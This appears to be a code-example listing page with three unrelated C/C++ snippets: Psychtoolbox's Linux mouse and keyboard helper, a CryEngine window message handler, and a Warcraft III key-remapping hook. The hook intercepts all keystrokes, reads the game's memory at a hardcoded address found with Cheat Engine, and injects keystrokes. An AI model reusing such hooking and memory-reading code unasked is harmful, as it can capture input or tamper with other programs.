            PsychCopyOutDoubleMatArg(5, kPsychArgOptional, (int) 1, (int) numvaluators, (int) 1, &myvaluators[0]);

            return(PsychError_none);
        }
        #endif

        if (mouseIndex >= 0) {
            // XInput-2 query for handling of multiple mouse pointers:

            // Query input device list for screen:
            int nDevices;
            XIDeviceInfo* indevs = PsychGetInputDevicesForScreen(screenNumber, &nDevices);

            // Sanity check:
            if (NULL == indevs) PsychErrorExitMsg(PsychError_user, "Sorry, your system does not support individual mouse pointer queries.");
            if (mouseIndex >= nDevices) PsychErrorExitMsg(PsychError_user, "Invalid 'mouseIndex' provided. No such device.");
            if ((indevs[mouseIndex].use != XIMasterPointer) && (indevs[mouseIndex].use != XISlavePointer) && (indevs[mouseIndex].use != XIFloatingSlave)) {
                PsychErrorExitMsg(PsychError_user, "Invalid 'mouseIndex' provided. Not a pointer device.");
            }

            // We requery the device info struct to retrieve updated live device state:
            // Crucial for slave pointers to get any state at all, but also needed on
            // master pointers to get the state of additional valuators, e.g., pen pressure,
            // touch area, tilt etc. for digitizer tablets, touch pads etc. For master pointers,
            // the primary 2 axis for 2D (x,y) position and the button/modifier state will be
            // queried via a dedicated XIQueryPointer() call, so that info gets overriden.
            PsychLockDisplay();
            indevs = XIQueryDevice(dpy, indevs[mouseIndex].deviceid, &numButtons);
            PsychUnlockDisplay();
            modifiers_return.effective = 0;

            // Query real number of mouse buttons and the raw button and axis state
            // stored inside the device itself. This is done mostly because slave pointer
            // devices don't support XIQueryPointer() so we get their relevant info from the
            // XIDeviceInfo struct itself:
            numButtons = 0;
            numvaluators = 0;
            memset(myvaluators, 0, sizeof(myvaluators));

            if (PsychIsArgPresent(PsychArgOut, 6)) {
                // Usercode wants valuator info structs:
                for (i = 0; i < indevs->num_classes; i++) if (indevs->classes[i]->type == XIValuatorClass) numIValuators++;
                PsychAllocOutStructArray(6, TRUE, numIValuators, numValuatorStructFieldNames, valuatorInfo, &valuatorStruct);
            }

            for (i = 0; i < indevs->num_classes; i++) {
                // printf("Class %i: Type %i\n", i, (int) indevs->classes[i]->type);
                if (indevs->classes[i]->type == XIButtonClass) {
                    // Number of buttons: For all pointers.
                    numButtons = ((XIButtonClassInfo*) indevs->classes[i])->num_buttons;

                    // Button state for slave pointers. Will get overriden for master pointers:
                    buttons_return.mask = ((XIButtonClassInfo*) indevs->classes[i])->state.mask;
                    buttons_return.mask_len = ((XIButtonClassInfo*) indevs->classes[i])->state.mask_len;
                }

                // Axis state for slave pointers. First two axis (x,y) will get overriden for master pointers:
                if (indevs->classes[i]->type == XIValuatorClass) {
                    XIValuatorClassInfo* axis = (XIValuatorClassInfo*) indevs->classes[i];
                    if (axis->number == 0) mxd = axis->value;  // x-Axis.
                    if (axis->number == 1) myd = axis->value;  // y-Axis.

                    // Additional axis, e.g., digitizer tablet, touchpads etc.:
                    if (axis->number >= 0 && axis->number < 100) {
                        myvaluators[axis->number] = axis->value;
                        numvaluators = (numvaluators >= axis->number + 1) ? numvaluators : axis->number + 1;
                    }

                    // Assign valuator info struct, if requested:
                    if (valuatorStruct) {
                        if (axis->label != None) {
                            PsychLockDisplay();
                            char* atomlabel =  XGetAtomName(dpy, axis->label);
                            PsychSetStructArrayStringElement("label", axis->number, atomlabel, valuatorStruct);
                            XFree(atomlabel);
                            PsychUnlockDisplay();
                        } else {
                            PsychSetStructArrayStringElement("label", axis->number, "None", valuatorStruct);
                        }

                        PsychSetStructArrayDoubleElement("min", axis->number, (double) axis->min, valuatorStruct);
                        PsychSetStructArrayDoubleElement("max", axis->number, (double) axis->max, valuatorStruct);
                        PsychSetStructArrayDoubleElement("resolution", axis->number, (double) axis->resolution, valuatorStruct);
                        PsychSetStructArrayDoubleElement("mode", axis->number, (double) axis->mode, valuatorStruct);
                        PsychSetStructArrayDoubleElement("sourceID", axis->number, (double) axis->sourceid, valuatorStruct);
                    }
                    // printf("AXIS %i, LABEL = %s, MIN = %f, MAX = %f, VAL = %f\n", axis->number, (char*) "NONE", (float) axis->min, (float) axis->max, (float) axis->value);
                }
            }

            // Add 32 buttons for modifier key state vector:
            numButtons += 32;

            // A real master pointer: Use official query for mouse devices.
            if (indevs->use == XIMasterPointer) {
                // Query pointer location and state:
                PsychLockDisplay();
                if (!XIQueryPointer(dpy, indevs->deviceid, mywin, &rootwin, &childwin, &dxd, &dyd, &mxd, &myd,
                               &buttons_return, &modifiers_return, &group_return)) {
                    // Mouse pointer is not on X-Screen of mywin. We don't have good mouse coordinates in
                    // this case and need to fake something reasonable enough.
                    // If an onscreen window handle was provided, simply return (mx,my) = (-1,-1). No useful
                    // info, but at least a hit test if a mouse pointer is inside the window would fail as
                    // expected, ie. report in "not inside window". If a screen index was provided, just use
                    // root window relative coordinates, like we did in the past, better than nothing:
                    if (windowRecord) {
                        mxd = myd = -1;
                    }
                    else {
                        mxd = dxd;
                        myd = dyd;
                    }
                }
                PsychUnlockDisplay();
            }

            // Copy out mouse x and y position:
            PsychCopyOutDoubleArg(1, kPsychArgOptional, mxd);
            PsychCopyOutDoubleArg(2, kPsychArgOptional, myd);

            // Copy out mouse button state:
            PsychAllocOutDoubleMatArg(3, kPsychArgOptional, (int)1, (int) numButtons, (int)1, &buttonArray);
            memset(buttonArray, 0, sizeof(double) * numButtons);

            if (numButtons > 0) {
                // Mouse buttons:
                const int buttonOffset = 1; // Buttons start at bit 1, not 0 for some strange reason? At least so on Ubuntu 10.10 and 11.10 with 2 mice and 1 joystick?
                for (i = buttonOffset; (i < numButtons - 32) && ((i / 8 ) < buttons_return.mask_len); i++) {
                    buttonArray[i - buttonOffset] = (double) ((buttons_return.mask[i / 8] & (1 << (i % 8))) ? 1 : 0);
                }

                // Free mask if retrieved via XIQueryPointer():
                if (indevs->use == XIMasterPointer) free(buttons_return.mask);

                // Append modifier key state from associated master keyboard. Last 32 entries:
                for (i = 0; i < 32; i++) {
                    buttonArray[numButtons - 32 + i] = (double) ((modifiers_return.effective & (1 << i)) ? 1 : 0);
                }
            }

            // Release live state info structure:
            XIFreeDeviceInfo(indevs);
        }
        else {
            // Old school core protocol query of virtual core pointer:
            PsychLockDisplay();
            if (!XQueryPointer(dpy, mywin, &rootwin, &childwin, &dx, &dy, &mx, &my, &mask_return)) {
                // Mouse pointer is not on X-Screen of mywin. We don't have good mouse coordinates in
                // this case and need to fake something reasonable enough.
                // If an onscreen window handle was provided, simply return (mx,my) = (-1,-1). No useful
                // info, but at least a hit test if a mouse pointer is inside the window would fail as
                // expected, ie. report in "not inside window". If a screen index was provided, just use
                // root window relative coordinates, like we did in the past, better than nothing:
                if (windowRecord) {
                    mx = my = -1;
                }
                else {
                    mx = dx;
                    my = dy;
                }
            }
            PsychUnlockDisplay();

            // Copy out mouse x and y position:
            PsychCopyOutDoubleArg(1, kPsychArgOptional, (double) mx);
            PsychCopyOutDoubleArg(2, kPsychArgOptional, (double) my);

            // Copy out mouse button state:
            PsychAllocOutDoubleMatArg(3, kPsychArgOptional, (int)1, (int)numButtons, (int)1, &buttonArray);

            // Bits 8, 9 and 10 of mask_return seem to correspond to mouse buttons
            // 1, 2 and 3 of a mouse for some weird reason. Bits 0-7 describe keyboard modifier keys
            // like Alt, Ctrl, Shift, ScrollLock, NumLock, CapsLock...
            // We remap here, so the first three returned entries correspond to the mouse buttons and
            // the rest is attached behind, if requested...

            // Mouse buttons: Left, Middle, Right == 0, 1, 2, aka 1,2,3 in Matlab space...
            for (i=0; i<numButtons && i<3; i++) {
                buttonArray[i] = (mask_return & (1<<(i+8))) ? 1 : 0;
            }

            // Modifier keys 0 to 7 appended:
            for (i=3; i<numButtons && i<3+8; i++) {
                buttonArray[i] = (mask_return & (1<<(i-3))) ? 1 : 0;
            }

            // Everything else appended:
            for (i=11; i<numButtons; i++) {
                buttonArray[i] = (mask_return & (1<<i)) ? 1 : 0;
            }
        }

        // Return optional 4th argument: Focus state. Returns 1 if our window has
        // keyboard input focus, zero otherwise:
        PsychLockDisplay();
        XGetInputFocus(dpy, &rootwin, &i);
        PsychUnlockDisplay();
        PsychCopyOutDoubleArg(4, kPsychArgOptional, (double) (rootwin == mywin) ? 1 : 0);

        // Return optional valuator values:
        PsychCopyOutDoubleMatArg(5, kPsychArgOptional, (int) 1, (int) numvaluators, (int) 1, &myvaluators[0]);
    }
    else {
        // 'KeyboardHelper' mode: We implement either KbCheck() or KbWait() via X11.
        // This is a hack to provide keyboard queries until a PsychHID() implementation
        // for Linux is available...

        // Special codes -10 to -15? --> Console keyboard queries:
        if(numButtons <= -10 && numButtons >= -15) {
            ConsoleInputHelper((int) numButtons);
            return(PsychError_none);
        }

        if (numButtons==-1 || numButtons==-2) {
            // KbCheck()/KbWait() mode:

            #ifdef PTB_USE_WAYLAND
                // Only implement KbCheck mode. KbWait mode isn't used anymore...

                // Alloc out keyboard state:
                PsychAllocOutBooleanMatArg(3, kPsychArgOptional, 1, 256, 1, &buttonStates);

                // Query Wayland backend for mouse state:
                if (!PsychWaylandGetKeyboardState(mouseIndex, 256, &(buttonStates[0]), &timestamp)) {
                    // Failed: Likely invalid mouseIndex.
                    PsychErrorExitMsg(PsychError_user, "Invalid 'keyboardIndex' provided. No such device.");
                }

                // Any key down?
                keysdown = 0;
                for (i = 0; i < 256; i++) keysdown += (unsigned int) buttonStates[i];

                // Copy out overall keystate:
                PsychCopyOutDoubleArg(1, kPsychArgOptional, (keysdown > 0) ? 1 : 0);

                // Copy out timestamp:
                PsychCopyOutDoubleArg(2, kPsychArgOptional, timestamp);

                return(PsychError_none);
            #endif

            // Switch X-Server into synchronous mode: We need this to get
            // a higher timing precision.
            PsychLockDisplay();
            XSynchronize(dpy, TRUE);
            PsychUnlockDisplay();

            do {
                // Reset overall key state to "none pressed":
                keysdown=0;

                // Request current keyboard state from X-Server:
                PsychLockDisplay();
                XQueryKeymap(dpy, (char *) keys_return);
                PsychUnlockDisplay();

                // Request current time of query:
                PsychGetAdjustedPrecisionTimerSeconds(&timestamp);

                // Any key down?
                for (i=0; i<32; i++) keysdown+=(unsigned int) keys_return[i];

                // We repeat until any key pressed if in KbWait() mode, otherwise we
                // exit the loop after first iteration in KbCheck mode.
                if ((numButtons==-1) || ((numButtons==-2) && (keysdown>0))) break;

                // Sleep for a few milliseconds before next KbWait loop iteration:
                PsychWaitIntervalSeconds(0.01);
            } while(1);

            if (numButtons==-2) {
                // Copy out time:
                PsychCopyOutDoubleArg(1, kPsychArgOptional, timestamp);
            }
            else {
                // KbCheck mode:

                // Copy out overall keystate:
                PsychCopyOutDoubleArg(1, kPsychArgOptional, (keysdown>0) ? 1 : 0);
                // copy out timestamp:
                PsychCopyOutDoubleArg(2, kPsychArgOptional, timestamp);
                // Copy keyboard state:
                PsychAllocOutBooleanMatArg(3, kPsychArgOptional, 1, 256, 1, &buttonStates);

                // Map 32 times 8 bitvector to 256 element return vector:
                for (i=0; i<32; i++) {
                    for(j=0; j<8; j++) {
                        buttonStates[i*8 + j] = (PsychNativeBooleanType)(keys_return[i] & (1<<j)) ? 1 : 0;
                    }
                }
            }
        }
        else if (numButtons == -3) {
            // numButtons == -3 --> KbName mapping mode:
            // Return the full keyboard keycode to ASCII character code mapping table...
            PsychAllocOutCellVector(1, kPsychArgOptional, 256, &kbNames);
            #ifdef PTB_USE_WAYLAND
                PsychWaylandGetKbNames(kbNames);
            #else
                for(i = 0; i < 256; i++) {
                    // Map keyboard scan code to KeySym:
                    PsychLockDisplay();
                    keystring = XKeysymToString(XKeycodeToKeysym(dpy, i, 0));
                    PsychUnlockDisplay();
                    if (keystring) {
                        // Character found: Return its ASCII name string:
                        PsychSetCellVectorStringElement(i, keystring, kbNames);
                    }
                    else {
                        // No character for this keycode:
                        PsychSetCellVectorStringElement(i, "", kbNames);
                    }
                }
            #endif
        }
        else if (numButtons == -4) {
            // GetChar() emulation. Dead.
        }
        else if (numButtons==-5) {
            // Priority() - helper mode: The 2nd argument is the priority level:

            // Query scheduling policy and priority:
            pthread_getschedparam(pthread_self(), &priorityLevel, &schedulingparam);

            // If scheduling mode is a realtime mode (RoundRobin realtime RR, or FIFO realtime),
            // then assign RT priority level (range 1-99) as current priorityLevel, otherwise
            // assign non realtime priority level zero:
            priorityLevel = (priorityLevel == SCHED_RR || priorityLevel == SCHED_FIFO) ? schedulingparam.sched_priority : 0;

            // Copy it out as optional return argument:
            PsychCopyOutDoubleArg(1, kPsychArgOptional, (double) priorityLevel);

            // Query if a new level should be set:
            priorityLevel = -1;
            PsychCopyInIntegerArg(2, kPsychArgOptional, &priorityLevel);

            errno=0;
            // Priority level provided?
            if (priorityLevel > -1) {
                // Map to new scheduling class:
                if (priorityLevel > 99 || priorityLevel < 0)
                    PsychErrorExitMsg(PsychErorr_argumentValueOutOfRange, "Invalid Priority level: Requested Priority() level must be between zero and 99!");

                if (priorityLevel > 0) {
                    // Realtime FIFO scheduling and all pages of Matlab/Octave locked into memory:
                    schedulingparam.sched_priority = priorityLevel;
                    priorityLevel = pthread_setschedparam(pthread_self(), SCHED_FIFO, &schedulingparam);
                    if (priorityLevel == -1) {
                        // Failed!
                        if(!PsychPrefStateGet_SuppressAllWarnings()) {
                            printf("PTB-ERROR: Failed to enable realtime-scheduling with Priority(%i) [%s]!\n", schedulingparam.sched_priority, strerror(errno));
                            if (errno==EPERM) {
                                printf("PTB-ERROR: You need to run Matlab/Octave with root-privileges, or run the script PsychLinuxConfiguration once for this to work.\n");
                            }
                        }
                        errno=0;
                    }
                    else {
                        // RT-Scheduling active. Lock all current and future memory:
                        priorityLevel = mlockall(MCL_CURRENT | MCL_FUTURE);
                        if (priorityLevel!=0) {
                            // Failed! Report problem as warning, but don't worry further.
                            if(!PsychPrefStateGet_SuppressAllWarnings())
                                printf("PTB-WARNING: Failed to enable system memory locking with Priority(%i) [%s]!\n", schedulingparam.sched_priority, strerror(errno));

                            // Undo any possibly partial mlocks....
                            munlockall();
                            errno=0;
                        }
                    }
                }
                else {
                    // Standard scheduling and no memory locking:
                    schedulingparam.sched_priority = 0;
                    priorityLevel = pthread_setschedparam(pthread_self(), SCHED_OTHER, &schedulingparam);
                    if (priorityLevel == -1) {
                        // Failed!
                        if(!PsychPrefStateGet_SuppressAllWarnings()) {
                            printf("PTB-ERROR: Failed to disable realtime-scheduling with Priority(%i) [%s]!\n", schedulingparam.sched_priority, strerror(errno));
                            if (errno==EPERM) {
                                printf("PTB-ERROR: You need to run Matlab/Octave with root-privileges, or run the script PsychLinuxConfiguration once for this to work.\n");
                            }
                        }
                        errno=0;
                    }

                    munlockall();
                    errno=0;
                }
                // End of setup of new Priority...
            }
            // End of Priority() helper for Linux.
        }
    }   // End of special functions handling for Linux...
#endif
    return(PsychError_none);
}
Ejemplo n.º 29
0
PLUGIN_SDK_WINPROC_INJECTOR(LRESULT CALLBACK CGameStartup::WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam))
{
	switch(msg)
	{
	case WM_CLOSE:
		if (gEnv && gEnv->pSystem)
			gEnv->pSystem->Quit();
		return 0;
	case WM_MOUSEACTIVATE:
		if (g_debugWindowsMessages && gEnv && gEnv->pLog)
			gEnv->pLog->Log("MSG: WM_MOUSEACTIVATE (%s %s)", (GetFocus()==hWnd)?"focused":"", (GetForegroundWindow()==hWnd)?"foreground":"");
		return MA_ACTIVATEANDEAT;
	case WM_ENTERSIZEMOVE:
		if (g_debugWindowsMessages && gEnv && gEnv->pLog)
			gEnv->pLog->Log("MSG: WM_ENTERSIZEMOVE (%s %s)", (GetFocus()==hWnd)?"focused":"", (GetForegroundWindow()==hWnd)?"foreground":"");
		if (gEnv && gEnv->pSystem && gEnv->pSystem->GetIHardwareMouse())
		{
			gEnv->pSystem->GetIHardwareMouse()->IncrementCounter();
		}
		return  0;
	case WM_EXITSIZEMOVE:
		if (g_debugWindowsMessages && gEnv && gEnv->pLog)
			gEnv->pLog->Log("MSG: WM_EXITSIZEMOVE (%s %s)", (GetFocus()==hWnd)?"focused":"", (GetForegroundWindow()==hWnd)?"foreground":"");
		if (gEnv && gEnv->pSystem && gEnv->pSystem->GetIHardwareMouse())
		{
			gEnv->pSystem->GetIHardwareMouse()->DecrementCounter();
		}
		return  0;
	case WM_ENTERMENULOOP:
		if (g_debugWindowsMessages && gEnv && gEnv->pLog)
			gEnv->pLog->Log("MSG: WM_ENTERMENULOOP (%s %s)", (GetFocus()==hWnd)?"focused":"", (GetForegroundWindow()==hWnd)?"foreground":"");
		if (gEnv && gEnv->pSystem && gEnv->pSystem->GetIHardwareMouse())
		{
			gEnv->pSystem->GetIHardwareMouse()->IncrementCounter();
		}
		return  0;
	case WM_EXITMENULOOP:
		if (g_debugWindowsMessages && gEnv && gEnv->pLog)
			gEnv->pLog->Log("MSG: WM_EXITMENULOOP (%s %s)", (GetFocus()==hWnd)?"focused":"", (GetForegroundWindow()==hWnd)?"foreground":"");
		if (gEnv && gEnv->pSystem && gEnv->pSystem->GetIHardwareMouse())
		{
			gEnv->pSystem->GetIHardwareMouse()->DecrementCounter();
		}
		return  0;
	case WM_HOTKEY:
	case WM_SYSCHAR:	// prevent ALT + key combinations from creating 'ding' sounds
		return  0;
	case WM_CHAR:
		{
			if (gEnv && gEnv->pInput)
			{
				SInputEvent event;
				event.modifiers = gEnv->pInput->GetModifiers();
				event.deviceId = eDI_Keyboard;
				event.state = eIS_UI;
				event.value = 1.0f;
				event.pSymbol = 0;//m_rawKeyboard->GetSymbol((lParam>>16)&0xff);
				if (event.pSymbol)
					event.keyId = event.pSymbol->keyId;

				event.inputChar = (wchar_t)wParam;
				gEnv->pInput->PostInputEvent(event);
			}
		}
		break;
	case WM_SYSKEYDOWN:	// prevent ALT-key entering menu loop
			if (wParam != VK_RETURN && wParam != VK_F4)
			{
				return 0;
			}
			else
			{
				if (wParam == VK_RETURN)	// toggle fullscreen
				{
					if (gEnv && gEnv->pRenderer && gEnv->pRenderer->GetRenderType() != eRT_DX11)
					{
						ICVar *pVar = gEnv->pConsole->GetCVar("r_Fullscreen");
						if (pVar)
						{
							int fullscreen = pVar->GetIVal();
							pVar->Set((int)(fullscreen == 0));
						}
					}
				}
				// let the F4 pass through to default handler (it will send an WM_CLOSE)
			}
		break;
	case WM_SETCURSOR:
		if(g_pGame)
		{
			HCURSOR hCursor = LoadCursor(GetModuleHandle(0),MAKEINTRESOURCE(DEFAULT_CURSOR_RESOURCE_ID));
			::SetCursor(hCursor);
		}
		return 0;
	case WM_MOUSEMOVE:
		if(gEnv && gEnv->pHardwareMouse)
		{
			gEnv->pHardwareMouse->Event(LOWORD(lParam),HIWORD(lParam),HARDWAREMOUSEEVENT_MOVE);
		}
		return 0;
	case WM_LBUTTONDOWN:
		if(gEnv && gEnv->pHardwareMouse)
		{
			gEnv->pHardwareMouse->Event(LOWORD(lParam),HIWORD(lParam),HARDWAREMOUSEEVENT_LBUTTONDOWN);
		}
		return 0;
	case WM_LBUTTONUP:
		if(gEnv && gEnv->pHardwareMouse)
		{
			gEnv->pHardwareMouse->Event(LOWORD(lParam),HIWORD(lParam),HARDWAREMOUSEEVENT_LBUTTONUP);
		}
		return 0;
	case WM_LBUTTONDBLCLK:
		if(gEnv && gEnv->pHardwareMouse)
		{
			gEnv->pHardwareMouse->Event(LOWORD(lParam),HIWORD(lParam),HARDWAREMOUSEEVENT_LBUTTONDOUBLECLICK);
		}
		return 0;
	case WM_MOVE:
		if (g_debugWindowsMessages && gEnv && gEnv->pLog)
			gEnv->pLog->Log("MSG: WM_MOVE %d %d (%s %s)", LOWORD(lParam), HIWORD(lParam), (GetFocus()==hWnd)?"focused":"", (GetForegroundWindow()==hWnd)?"foreground":"");
		if(gEnv && gEnv->pSystem && gEnv->pSystem->GetISystemEventDispatcher())
		{
			gEnv->pSystem->GetISystemEventDispatcher()->OnSystemEvent(ESYSTEM_EVENT_MOVE,LOWORD(lParam), HIWORD(lParam));
		}
    return DefWindowProc(hWnd, msg, wParam, lParam);
	case WM_SIZE:
		if (g_debugWindowsMessages && gEnv && gEnv->pLog)
			gEnv->pLog->Log("MSG: WM_SIZE %d %d (%s %s)", LOWORD(lParam), HIWORD(lParam), (GetFocus()==hWnd)?"focused":"", (GetForegroundWindow()==hWnd)?"foreground":"");
		if(gEnv && gEnv->pSystem && gEnv->pSystem->GetISystemEventDispatcher())
		{
			gEnv->pSystem->GetISystemEventDispatcher()->OnSystemEvent(ESYSTEM_EVENT_RESIZE,LOWORD(lParam), HIWORD(lParam));
		}
    return DefWindowProc(hWnd, msg, wParam, lParam);
	case WM_ACTIVATE:
		if (g_debugWindowsMessages && gEnv && gEnv->pLog)
			gEnv->pLog->Log("MSG: WM_ACTIVATE %d (%s %s)", LOWORD(wParam), (GetFocus()==hWnd)?"focused":"", (GetForegroundWindow()==hWnd)?"foreground":"");

		if(gEnv && gEnv->pSystem && gEnv->pSystem->GetISystemEventDispatcher())
		{
			gEnv->pSystem->GetISystemEventDispatcher()->OnSystemEvent(ESYSTEM_EVENT_ACTIVATE, LOWORD(wParam) != WA_INACTIVE, HIWORD(wParam));
		}
		break;
	case WM_SETFOCUS:
		if (g_debugWindowsMessages && gEnv && gEnv->pLog)
			gEnv->pLog->Log("MSG: WM_SETFOCUS (%s %s)", (GetFocus()==hWnd)?"focused":"", (GetForegroundWindow()==hWnd)?"foreground":"");
		if(gEnv && gEnv->pSystem && gEnv->pSystem->GetISystemEventDispatcher())
		{
			gEnv->pSystem->GetISystemEventDispatcher()->OnSystemEvent(ESYSTEM_EVENT_CHANGE_FOCUS, 1, 0);
		}
		break;
	case WM_KILLFOCUS:
		if (g_debugWindowsMessages && gEnv && gEnv->pLog)
			gEnv->pLog->Log("MSG: WM_KILLFOCUS (%s %s)", (GetFocus()==hWnd)?"focused":"", (GetForegroundWindow()==hWnd)?"foreground":"");
		if(gEnv && gEnv->pSystem && gEnv->pSystem->GetISystemEventDispatcher())
		{
			gEnv->pSystem->GetISystemEventDispatcher()->OnSystemEvent(ESYSTEM_EVENT_CHANGE_FOCUS, 0, 0);
		}
		break;
  case WM_WINDOWPOSCHANGED:
		if (g_debugWindowsMessages && gEnv && gEnv->pLog)
			gEnv->pLog->Log("MSG: WM_WINDOWPOSCHANGED (%s %s)", (GetFocus()==hWnd)?"focused":"", (GetForegroundWindow()==hWnd)?"foreground":"");
		if(gEnv && gEnv->pSystem && gEnv->pSystem->GetISystemEventDispatcher())
		{
			gEnv->pSystem->GetISystemEventDispatcher()->OnSystemEvent(ESYSTEM_EVENT_POS_CHANGED, 1, 0);
		}
		break;
  case WM_STYLECHANGED:
		if (g_debugWindowsMessages && gEnv && gEnv->pLog)
			gEnv->pLog->Log("MSG: WM_STYLECHANGED (%s %s)", (GetFocus()==hWnd)?"focused":"", (GetForegroundWindow()==hWnd)?"foreground":"");
    if(gEnv && gEnv->pSystem && gEnv->pSystem->GetISystemEventDispatcher())
    {
      gEnv->pSystem->GetISystemEventDispatcher()->OnSystemEvent(ESYSTEM_EVENT_STYLE_CHANGED, 1, 0);
    }
		break;
	case WM_INPUTLANGCHANGE:
		if (g_debugWindowsMessages && gEnv && gEnv->pLog)
			gEnv->pLog->Log("MSG: WM_INPUTLANGCHANGE");
		if(gEnv && gEnv->pSystem && gEnv->pSystem->GetISystemEventDispatcher())
		{
			gEnv->pSystem->GetISystemEventDispatcher()->OnSystemEvent(ESYSTEM_EVENT_LANGUAGE_CHANGE, wParam, lParam);
		}
		break;
  }

	return DefWindowProc(hWnd, msg, wParam, lParam);
}
Ejemplo n.º 30
-25
//定义全局的底层键盘钩子回调函数
LRESULT CALLBACK LowLevelKeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
	//获取最前端窗口
	topWnd = GetForegroundWindow();

	//通过读取内存信息来判断是否为聊天模式
	//获取窗口进程ID
	DWORD processid;
	::GetWindowThreadProcessId(m_hwar3,&processid);
	//打开指定进程
	HANDLE processH=::OpenProcess(PROCESS_ALL_ACCESS,false,processid);
	//读指定进程 内存数据
	LPCVOID pbase=(LPCVOID)0x6FAE8450; //数据基址 通过此数据来判断聊天模式,通过CE查找。
	int chatStatus;
	//LPVOID  nbuffer=(LPVOID)&chatNum;

	::ReadProcessMemory(processH,pbase,&chatStatus,4,NULL);
	if (chatStatus)
	{
		return CallNextHookEx(m_hkeyboard,nCode,wParam,lParam);
	}
	if (topWnd==m_hwar3)  //如果最前端的窗口是魔兽争霸的窗口,则开启改键功能
	{
		PKBDLLHOOKSTRUCT kbstruct;
		if(0==PostMessage(m_hwar3,WM_KEYDOWN,0x4C,1))
		{
			ASSERT(0);
			return  1;
		}

		if (WM_KEYDOWN==wParam)
		{
			kbstruct=(PKBDLLHOOKSTRUCT)lParam;
			//修改小键盘
			if ((int)g_num1[0]==kbstruct->vkCode)
			{
				keybd_event(VK_NUMPAD1,0,0,0);
				keybd_event(VK_NUMPAD1,0,KEYEVENTF_KEYUP,0);
				return 1;
			}
			if ((int)g_num2[0]==kbstruct->vkCode)
			{
				keybd_event(VK_NUMPAD2,0,0,0);
				keybd_event(VK_NUMPAD2,0,KEYEVENTF_KEYUP,0);
				return 1;
			}
			if ((int)g_num4[0]==kbstruct->vkCode)
			{
				keybd_event(VK_NUMPAD4,0,0,0);
				keybd_event(VK_NUMPAD4,0,KEYEVENTF_KEYUP,0);
				return 1;
			}
			if ((int)g_num5[0]==kbstruct->vkCode)
			{
				keybd_event(VK_NUMPAD5,0,0,0);
				keybd_event(VK_NUMPAD5,0,KEYEVENTF_KEYUP,0);
				return 1;
			}
			if ((int)g_num7[0]==kbstruct->vkCode)
			{
				keybd_event(VK_NUMPAD7,0,0,0);
				keybd_event(VK_NUMPAD7,0,KEYEVENTF_KEYUP,0);
				return 1;
			}
			if ((int)g_num8[0]==kbstruct->vkCode)
			{
				keybd_event(VK_NUMPAD8,0,0,0);
				keybd_event(VK_NUMPAD8,0,KEYEVENTF_KEYUP,0);
				return 1;
			}

			//修改技能键
			if ((int)g_newmag1[0]==kbstruct->vkCode && (int)g_oldmag1[0]!=0)
			{
				keybd_event(g_oldmag1[0],0,0,0);
				keybd_event(g_oldmag1[0],0,KEYEVENTF_KEYUP,0);
				return 1;
			}
			if ((int)g_newmag2[0]==kbstruct->vkCode && (int)g_oldmag2[0]!=0)
			{
				keybd_event(g_oldmag2[0],0,0,0);
				keybd_event(g_oldmag2[0],0,KEYEVENTF_KEYUP,0);
				return 1;
			}
			if ((int)g_newmag3[0]==kbstruct->vkCode && (int)g_oldmag3[0]!=0)
			{
				keybd_event(g_oldmag3[0],0,0,0);
				keybd_event(g_oldmag3[0],0,KEYEVENTF_KEYUP,0);
				return 1;
			}
			if ((int)g_newmag4[0]==kbstruct->vkCode && (int)g_oldmag4[0]!=0)
			{
				keybd_event(g_oldmag4[0],0,0,0);
				keybd_event(g_oldmag4[0],0,KEYEVENTF_KEYUP,0);
				return 1;
			}

		}
	}

	return CallNextHookEx(m_hkeyboard,nCode,wParam,lParam);
}